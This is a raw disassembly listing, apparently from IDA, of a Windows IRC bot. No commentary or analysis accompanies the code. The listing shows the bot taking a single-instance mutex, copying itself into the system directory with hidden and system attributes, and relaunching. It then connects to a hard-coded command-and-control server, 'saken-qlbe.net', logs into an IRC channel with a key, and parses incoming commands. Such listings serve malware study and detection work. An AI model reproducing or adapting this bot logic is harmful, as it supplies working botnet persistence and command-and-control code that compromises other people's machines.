		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], offset sub_40D1A2
		push	[ebp+var_8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_423058
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4890F8, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_417008
		pop	ecx
		call	sub_409658
		push	2
		call	dword_43EBD0	; SetErrorMode
		push	7530h
		push	offset aBotid	; "botid"
		push	ebx
		push	ebx
		call	dword_423164	; CreateMutexA
		push	eax
		call	dword_423088	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40E507
		push	1
		call	dword_42314C	; ExitProcess

loc_40E507:				; CODE XREF: sub_40E48A+73j
		lea	eax, [ebp+var_884]
		push	eax
		push	202h
		call	dword_43EA9C	; WSAStartup
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	loc_40E958
		cmp	[ebp+var_884], 2
		jnz	loc_40E952
		xor	eax, eax
		mov	al, [ebp+var_883]
		cmp	al, 2
		jnz	loc_40E952
		mov	esi, 104h
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		call	dword_423068	; GetSystemDirectoryA
		lea	eax, [ebp+var_2EC]
		push	esi
		push	eax
		push	ebx
		call	dword_423100	; GetModuleHandleA
		push	eax
		call	dword_423094	; GetModuleFileNameA
		lea	eax, [ebp+var_4F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	ebx
		push	eax
		call	sub_418FB8
		lea	eax, [ebp+var_4F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	offset aSS_2	; "%s%s"
		lea	eax, [ebp+var_5F4]
		push	esi
		push	eax
		call	sub_41752A
		lea	eax, [ebp+var_3F0]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_417580
		add	esp, 30h
		test	eax, eax
		jnz	loc_40E75B
		cmp	dword_42E914, ebx
		mov	esi, offset byte_42E9B8
		jz	short loc_40E602
		push	esi
		xor	edi, edi
		call	sub_4177B0
		sub	eax, 4
		pop	ecx
		jz	short loc_40E602

loc_40E5DF:				; CODE XREF: sub_40E48A+176j
		call	sub_417012
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_42E9B8[edi], dl
		inc	edi
		call	sub_4177B0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_40E5DF

loc_40E602:				; CODE XREF: sub_40E48A+145j
					; sub_40E48A+153j
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		lea	eax, [ebp+var_1E8]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_416FB6
		add	esp, 10h
		lea	eax, [ebp+var_1E8]
		push	eax
		call	dword_4230A8	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E642
		lea	eax, [ebp+var_1E8]
		push	80h
		push	eax
		call	dword_423128	; SetFileAttributesA

loc_40E642:				; CODE XREF: sub_40E48A+1A4j
		mov	esi, dword_423160
		xor	edi, edi
		jmp	short loc_40E66E
; ---------------------------------------------------------------------------

loc_40E64C:				; CODE XREF: sub_40E48A+1F7j
		call	dword_42308C	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_40E683
		cmp	eax, 20h
		jz	short loc_40E660
		cmp	eax, 5
		jnz	short loc_40E683

loc_40E660:				; CODE XREF: sub_40E48A+1CFj
		xor	edi, edi
		push	3A98h
		inc	edi
		call	dword_423064	; Sleep

loc_40E66E:				; CODE XREF: sub_40E48A+1C0j
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		call	esi	; CopyFileA
		test	eax, eax
		jz	short loc_40E64C

loc_40E683:				; CODE XREF: sub_40E48A+1CAj
					; sub_40E48A+1D4j
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_40A9AA
		pop	ecx
		lea	eax, [ebp+var_1E8]
		push	7
		push	eax
		call	dword_423128	; SetFileAttributesA
		push	10h
		lea	eax, [ebp+var_1C]
		push	ebx
		push	eax
		call	sub_417030
		push	44h
		lea	eax, [ebp+var_64]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417030
		mov	[ebp+var_64], esi
		xor	esi, esi
		inc	esi
		add	esp, 18h
		mov	[ebp+var_58], offset byte_43BCE8
		mov	[ebp+var_38], esi
		mov	[ebp+var_34], bx
		call	dword_42315C	; GetCurrentProcessId
		push	eax
		push	esi
		push	100000h
		call	dword_4230FC	; OpenProcess
		lea	ecx, [ebp+var_2EC]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		lea	eax, [ebp+var_988]
		push	offset dword_434488
		push	eax
		call	sub_416FB6
		add	esp, 14h
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp+var_988]
		push	ebx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		call	dword_423120	; CreateProcessA
		test	eax, eax
		jz	short loc_40E75B
		push	0C8h
		call	dword_423064	; Sleep
		push	[ebp+var_1C]
		mov	esi, dword_423078
		call	esi	; CloseHandle
		push	[ebp+var_18]
		call	esi	; CloseHandle
		call	dword_43EA84	; WSACleanup
		push	ebx
		call	dword_42314C	; ExitProcess

loc_40E75B:				; CODE XREF: sub_40E48A+134j
					; sub_40E48A+2A7j
		cmp	dword_4894C8, 2
		jle	short loc_40E7A7
		mov	eax, dword_4894CC
		push	dword ptr [eax+4]
		call	sub_41751F
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	dword_423088	; WaitForSingleObject
		push	esi
		call	dword_423078	; CloseHandle
		mov	eax, dword_4894CC
		cmp	[eax+8], ebx
		jz	short loc_40E7A7
		push	7D0h
		call	dword_423064	; Sleep
		mov	eax, dword_4894CC
		push	dword ptr [eax+8]
		call	dword_423158	; DeleteFileA

loc_40E7A7:				; CODE XREF: sub_40E48A+2D8j
					; sub_40E48A+302j
		cmp	dword_42E918, ebx
		jz	short loc_40E7C4
		cmp	dword_43EBF0, ebx
		jnz	short loc_40E7C4
		lea	eax, [ebp+var_5F4]
		push	eax
		call	sub_40BFCF
		pop	ecx

loc_40E7C4:				; CODE XREF: sub_40E48A+323j
					; sub_40E48A+32Bj
		lea	eax, [ebp+var_E4]
		push	offset dword_434460
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_E4]
		push	ebx
		push	eax
		call	sub_416A7A
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_40BD8D
		push	0B80h
		push	ebx
		push	offset dword_4437E8
		call	sub_417030
		call	sub_417012
		push	7Fh
		push	offset aSakenQlbe_net ;	"saken-qlbe.net"
		push	offset dword_489104
		mov	dword_489270, ebx
		call	sub_418910
		mov	eax, dword_42E8F8
		push	3Fh
		mov	edi, offset dword_489184
		push	offset a1	; "#1#"
		push	edi
		mov	dword_489254, eax
		call	sub_418910
		push	3Fh
		mov	esi, offset dword_4891C4
		push	offset a7lome	; "7lome"
		push	esi
		call	sub_418910
		add	esp, 48h
		mov	dword_489258, ebx

loc_40E852:				; CODE XREF: sub_40E48A+46Ej
					; sub_40E48A+479j ...
		mov	[ebp+var_4], ebx

loc_40E855:				; CODE XREF: sub_40E48A+422j
		cmp	dword_43EC08, ebx
		jnz	short loc_40E873
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	dword_43EA68	; InternetGetConnectedState
		test	eax, eax
		jnz	short loc_40E873
		push	7530h
		jmp	short loc_40E89F
; ---------------------------------------------------------------------------

loc_40E873:				; CODE XREF: sub_40E48A+3D1j
					; sub_40E48A+3E0j
		push	offset dword_489100
		mov	dword_48926C, ebx
		call	sub_40E961
		cmp	eax, 2
		mov	[ebp+var_8], eax
		jz	loc_40E94D
		cmp	dword_48926C, ebx
		jz	short loc_40E89A
		dec	[ebp+var_4]

loc_40E89A:				; CODE XREF: sub_40E48A+40Bj
		push	0BB8h

loc_40E89F:				; CODE XREF: sub_40E48A+3E7j
		call	dword_423064	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_40E855
		cmp	[ebp+var_8], 2
		jz	loc_40E94D
		cmp	[ebp+var_C], ebx
		jz	short loc_40E8FD
		push	7Fh
		push	offset aSakenQlbe_net ;	"saken-qlbe.net"
		push	offset dword_489104
		call	sub_418910
		mov	eax, dword_42E8F8
		push	3Fh
		push	offset a1	; "#1#"
		push	edi
		mov	dword_489254, eax
		call	sub_418910
		push	3Fh
		push	offset a7lome	; "7lome"
		push	esi
		call	sub_418910
		add	esp, 24h
		mov	[ebp+var_C], ebx
		jmp	loc_40E852
; ---------------------------------------------------------------------------

loc_40E8FD:				; CODE XREF: sub_40E48A+431j
		cmp	byte_42E99C, bl
		jz	loc_40E852
		push	7Fh
		push	offset byte_42E99C
		push	offset dword_489104
		call	sub_418910
		mov	eax, dword_42E8FC
		push	3Fh
		push	offset dword_42E9AC
		push	edi
		mov	dword_489254, eax
		call	sub_418910
		push	3Fh
		push	offset a7lome_0	; "7lome"
		push	esi
		call	sub_418910
		add	esp, 24h
		mov	[ebp+var_C], 1
		jmp	loc_40E852
; ---------------------------------------------------------------------------

loc_40E94D:				; CODE XREF: sub_40E48A+3FFj
					; sub_40E48A+428j
		call	sub_416C3D

loc_40E952:				; CODE XREF: sub_40E48A+A1j
					; sub_40E48A+B1j
		call	dword_43EA84	; WSACleanup

loc_40E958:				; CODE XREF: sub_40E48A+94j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_40E48A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E961	proc near		; CODE XREF: sub_40E48A+3F4p
					; DATA XREF: sub_40EC43+3ACEo

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1

loc_40E986:				; CODE XREF: sub_40E961+E6j
					; sub_40E961+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417030
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_43EB24	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40ABF8
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40EAC3
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_417030
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_489264
		push	dword_42E924
		push	eax
		call	sub_415A3A
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_444580
		push	edi
		push	eax
		call	sub_418910
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_43EBA4	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_444574[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_43EACC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EA4C
		push	esi
		call	dword_43EBBC	; closesocket
		call	sub_40AC21
		push	7D0h

loc_40EA41:				; CODE XREF: sub_40E961+146j
		call	dword_423064	; Sleep
		jmp	loc_40E986
; ---------------------------------------------------------------------------

loc_40EA4C:				; CODE XREF: sub_40E961+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_434494
		call	sub_40BE01
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40EAC7
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_43EBBC	; closesocket
		test	edi, edi
		jz	loc_40E986
		cmp	edi, 1
		jnz	short loc_40EAA9
		push	0DBBA0h
		jmp	short loc_40EA41
; ---------------------------------------------------------------------------

loc_40EAA9:				; CODE XREF: sub_40E961+13Fj
		cmp	edi, 2
		jnz	loc_40E986
		push	[ebp+var_34]
		call	sub_416D90
		pop	ecx
		push	edi
		pop	eax

loc_40EABD:				; CODE XREF: sub_40E961+164j
		pop	edi
		pop	esi
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_40EAC3:				; CODE XREF: sub_40E961+5Aj
		xor	eax, eax
		jmp	short loc_40EABD
sub_40E961	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EAC7	proc near		; CODE XREF: sub_40E961+123p

var_1A10	= byte ptr -1A10h
var_A10		= byte ptr -0A10h
var_240		= byte ptr -240h
var_1A0		= byte ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A10h
		call	sub_417830
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_1A0]
		pop	ecx

loc_40EAE5:				; CODE XREF: sub_40EAC7+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40EAE5
		cmp	byte_48926A, bl
		jz	short loc_40EB0C
		push	offset byte_48926A
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_40D430
		add	esp, 0Ch

loc_40EB0C:				; CODE XREF: sub_40EAC7+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_415A3A
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_416FB6
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_43EB74	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EB76
		push	[ebp+arg_0]
		call	dword_43EBBC	; closesocket
		push	1388h
		call	dword_423064	; Sleep

loc_40EB6F:				; CODE XREF: sub_40EAC7+D9j
					; sub_40EAC7+153j
		xor	eax, eax

loc_40EB71:				; CODE XREF: sub_40EAC7+16Fj
					; sub_40EAC7+177j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40EB76:				; CODE XREF: sub_40EAC7+92j
					; sub_40EAC7+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A10]
		push	esi
		push	ebx
		push	eax
		call	sub_417030
		add	esp, 0Ch
		lea	eax, [ebp+var_1A10]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43EB3C	; recv
		test	eax, eax
		jle	short loc_40EB6F
		lea	eax, [ebp+var_A10]
		push	eax
		lea	eax, [ebp+var_1A10]
		push	eax
		call	sub_40A6A1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_40EB76
		lea	edi, [ebp+var_A10]

loc_40EBC7:				; CODE XREF: sub_40EAC7+165j
		xor	esi, esi
		inc	esi

loc_40EBCA:				; CODE XREF: sub_40EAC7+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_40EC43
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_40EC0D
		push	7D0h
		call	dword_423064	; Sleep
		jmp	short loc_40EBCA
; ---------------------------------------------------------------------------

loc_40EC0D:				; CODE XREF: sub_40EAC7+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40EC3B
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40EC33
		cmp	esi, 0FFFFFFFFh
		jz	loc_40EB6F
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_40EBC7
		jmp	loc_40EB76
; ---------------------------------------------------------------------------

loc_40EC33:				; CODE XREF: sub_40EAC7+14Ej
		xor	eax, eax
		inc	eax
		jmp	loc_40EB71
; ---------------------------------------------------------------------------

loc_40EC3B:				; CODE XREF: sub_40EAC7+149j
		push	2
		pop	eax
		jmp	loc_40EB71
sub_40EAC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EC43	proc near		; CODE XREF: sub_40EAC7+12Ap

var_2924	= byte ptr -2924h
var_2524	= byte ptr -2524h
var_2324	= byte ptr -2324h
var_2124	= byte ptr -2124h
var_2024	= byte ptr -2024h
var_1F24	= byte ptr -1F24h
var_1F20	= byte ptr -1F20h
var_1E20	= dword	ptr -1E20h
var_1E1C	= dword	ptr -1E1Ch
var_1E18	= byte ptr -1E18h
var_1D98	= byte ptr -1D98h
var_1D18	= byte ptr -1D18h
var_1C98	= byte ptr -1C98h
var_1C18	= byte ptr -1C18h
var_1B98	= dword	ptr -1B98h
var_1B94	= dword	ptr -1B94h
var_1B90	= dword	ptr -1B90h
var_1B8C	= dword	ptr -1B8Ch
var_1B88	= byte ptr -1B88h
var_1B08	= byte ptr -1B08h
var_1A88	= byte ptr -1A88h
var_1A08	= byte ptr -1A08h
var_1988	= dword	ptr -1988h
var_1984	= dword	ptr -1984h
var_1980	= dword	ptr -1980h
var_197C	= dword	ptr -197Ch
var_1978	= dword	ptr -1978h
var_1974	= byte ptr -1974h
var_18F4	= byte ptr -18F4h
var_1874	= byte ptr -1874h
var_17F4	= dword	ptr -17F4h
var_17F0	= dword	ptr -17F0h
var_17EC	= dword	ptr -17ECh
var_17E8	= dword	ptr -17E8h
var_17E4	= byte ptr -17E4h
var_17E0	= byte ptr -17E0h
var_16E0	= dword	ptr -16E0h
var_16DC	= byte ptr -16DCh
var_16D8	= dword	ptr -16D8h
var_16D4	= byte ptr -16D4h
var_1654	= byte ptr -1654h
var_15D8	= byte ptr -15D8h
var_1550	= byte ptr -1550h
var_14D4	= dword	ptr -14D4h
var_14D0	= dword	ptr -14D0h
var_14CC	= dword	ptr -14CCh
var_14C8	= byte ptr -14C8h
var_144C	= dword	ptr -144Ch
var_1448	= dword	ptr -1448h
var_1444	= dword	ptr -1444h
var_1440	= dword	ptr -1440h
var_143C	= dword	ptr -143Ch
var_1438	= byte ptr -1438h
var_13B8	= byte ptr -13B8h
var_138C	= byte ptr -138Ch
var_1388	= byte ptr -1388h
var_1338	= byte ptr -1338h
var_1308	= byte ptr -1308h
var_12C8	= byte ptr -12C8h
var_12B8	= byte ptr -12B8h
var_1238	= dword	ptr -1238h
var_1234	= dword	ptr -1234h
var_1230	= dword	ptr -1230h
var_122C	= dword	ptr -122Ch
var_1228	= dword	ptr -1228h
var_1220	= byte ptr -1220h
var_11A0	= byte ptr -11A0h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= dword	ptr -110Ch
var_1108	= dword	ptr -1108h
var_1100	= dword	ptr -1100h
var_10FC	= byte ptr -10FCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= byte ptr -0FF4h
var_F74		= byte ptr -0F74h
var_E75		= byte ptr -0E75h
var_E74		= byte ptr -0E74h
var_D74		= dword	ptr -0D74h
var_D70		= dword	ptr -0D70h
var_D6C		= dword	ptr -0D6Ch
var_D68		= dword	ptr -0D68h
var_D64		= dword	ptr -0D64h
var_D60		= dword	ptr -0D60h
var_D5C		= dword	ptr -0D5Ch
var_D58		= dword	ptr -0D58h
var_D54		= dword	ptr -0D54h
var_D50		= byte ptr -0D50h
var_CD0		= byte ptr -0CD0h
var_CC4		= byte ptr -0CC4h
var_CB4		= dword	ptr -0CB4h
var_CB0		= byte ptr -0CB0h
var_C74		= dword	ptr -0C74h
var_C70		= byte ptr -0C70h
var_C30		= byte ptr -0C30h
var_BF0		= byte ptr -0BF0h
var_B70		= byte ptr -0B70h
var_AF0		= dword	ptr -0AF0h
var_AEC		= dword	ptr -0AECh
var_AE8		= dword	ptr -0AE8h
var_AE4		= dword	ptr -0AE4h
var_AE0		= dword	ptr -0AE0h
var_ADC		= dword	ptr -0ADCh
var_AD8		= dword	ptr -0AD8h
var_AD4		= dword	ptr -0AD4h
var_AD0		= byte ptr -0AD0h
var_AC4		= byte ptr -0AC4h
var_AC0		= byte ptr -0AC0h
var_A50		= byte ptr -0A50h
var_9D0		= dword	ptr -9D0h
var_9CC		= dword	ptr -9CCh
var_9C8		= dword	ptr -9C8h
var_9C4		= dword	ptr -9C4h
var_9C0		= byte ptr -9C0h
var_95F		= byte ptr -95Fh
var_95E		= byte ptr -95Eh
var_95C		= byte ptr -95Ch
var_95B		= byte ptr -95Bh
var_952		= byte ptr -952h
var_950		= byte ptr -950h
var_94E		= byte ptr -94Eh
var_94D		= byte ptr -94Dh
var_8C0		= byte ptr -8C0h
var_874		= dword	ptr -874h
var_86C		= byte ptr -86Ch
var_860		= dword	ptr -860h
var_85C		= byte ptr -85Ch
var_858		= byte ptr -858h
var_75C		= byte ptr -75Ch
var_754		= byte ptr -754h
var_6DC		= dword	ptr -6DCh
var_6D4		= dword	ptr -6D4h
var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= byte ptr -6BCh
var_63C		= byte ptr -63Ch
var_5BC		= dword	ptr -5BCh
var_5B8		= dword	ptr -5B8h
var_5B4		= dword	ptr -5B4h
var_5B0		= dword	ptr -5B0h
var_5AC		= dword	ptr -5ACh
var_5A8		= dword	ptr -5A8h
var_5A4		= dword	ptr -5A4h
var_5A0		= dword	ptr -5A0h
var_59C		= byte ptr -59Ch
var_58C		= byte ptr -58Ch
var_50C		= byte ptr -50Ch
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_450		= byte ptr -450h
var_434		= dword	ptr -434h
var_430		= byte ptr -430h
var_42C		= dword	ptr -42Ch
var_428		= byte ptr -428h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_3B0		= byte ptr -3B0h
var_3A8		= dword	ptr -3A8h
var_3A4		= dword	ptr -3A4h
var_3A0		= dword	ptr -3A0h
var_39C		= dword	ptr -39Ch
var_398		= dword	ptr -398h
var_394		= dword	ptr -394h
var_390		= dword	ptr -390h
var_38C		= dword	ptr -38Ch
var_388		= dword	ptr -388h
var_384		= dword	ptr -384h
var_380		= dword	ptr -380h
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_350		= byte ptr -350h
var_330		= dword	ptr -330h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2F0		= dword	ptr -2F0h
var_2EC		= byte ptr -2ECh
var_EC		= dword	ptr -0ECh
var_E8		= dword	ptr -0E8h
var_E4		= word ptr -0E4h
var_E2		= word ptr -0E2h
var_E0		= dword	ptr -0E0h
var_D4		= byte ptr -0D4h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_54		= byte ptr -54h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 2924h
		call	sub_417830
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2EC]
		push	ebx
		push	eax
		mov	[ebp+var_BC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_AC], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_EC], ebx
		call	sub_417030
		push	1Bh
		lea	eax, [ebp+var_450]
		push	[ebp+arg_10]
		push	eax
		call	sub_418910
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_40F098
		push	esi
		lea	eax, [ebp+var_2324]
		push	ebx
		push	eax
		call	sub_417030
		dec	esi
		lea	eax, [ebp+var_2324]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_418910
		lea	eax, [ebp+var_2324]
		push	offset asc_437C50 ; " :"
		push	eax
		call	sub_417580
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_2324]
		push	esi
		push	eax
		lea	eax, [ebp+var_2524]
		push	eax
		call	sub_418910
		mov	esi, offset asc_429420 ; " "
		lea	eax, [ebp+var_2524]
		push	esi
		push	eax
		call	sub_41886E
		xor	edi, edi
		add	esp, 34h
		mov	[ebp+var_94], eax
		inc	edi

loc_40ED09:				; CODE XREF: sub_40EC43+DAj
		push	esi
		push	ebx
		call	sub_41886E
		mov	[ebp+edi*4+var_94], eax
		inc	edi
		pop	ecx
		cmp	edi, 20h
		pop	ecx
		jl	short loc_40ED09
		mov	esi, [ebp+var_94]
		cmp	esi, ebx
		jz	loc_40F098
		cmp	[ebp+var_90], ebx
		jz	loc_40F098
		push	100h
		lea	eax, [ebp+var_9C0]
		push	ebx
		push	eax
		call	sub_417030
		add	esp, 0Ch
		push	1Fh
		pop	edx

loc_40ED51:				; CODE XREF: sub_40EC43+142j
		lea	ecx, [ebp+edx*4+var_94]
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40ED84
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40ED87
		cmp	[eax+2], bl
		jnz	short loc_40ED87
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_9C0], 1
		mov	esi, [ebp+var_94]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl

loc_40ED84:				; CODE XREF: sub_40EC43+119j
		dec	edx
		jns	short loc_40ED51

loc_40ED87:				; CODE XREF: sub_40EC43+11Ej
					; sub_40EC43+123j
		xor	edi, edi
		inc	edi
		cmp	[ebp+var_94D], bl
		jz	short loc_40ED95
		mov	[ebp+var_8], edi

loc_40ED95:				; CODE XREF: sub_40EC43+14Dj
		cmp	[ebp+var_952], bl
		jz	short loc_40EDA3
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi

loc_40EDA3:				; CODE XREF: sub_40EC43+158j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_40EDDD
		push	7Fh
		lea	eax, [ebp+var_D50]
		push	esi
		push	eax
		call	sub_418910
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_D4]
		push	eax
		call	sub_418910
		lea	eax, [ebp+var_D4]
		push	offset asc_437C4C ; "!"
		push	eax
		call	sub_41886E
		add	esp, 20h

loc_40EDDD:				; CODE XREF: sub_40EC43+163j
		push	esi
		push	offset aPing	; "PING"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EE2E
		push	[ebp+var_90]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D430
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
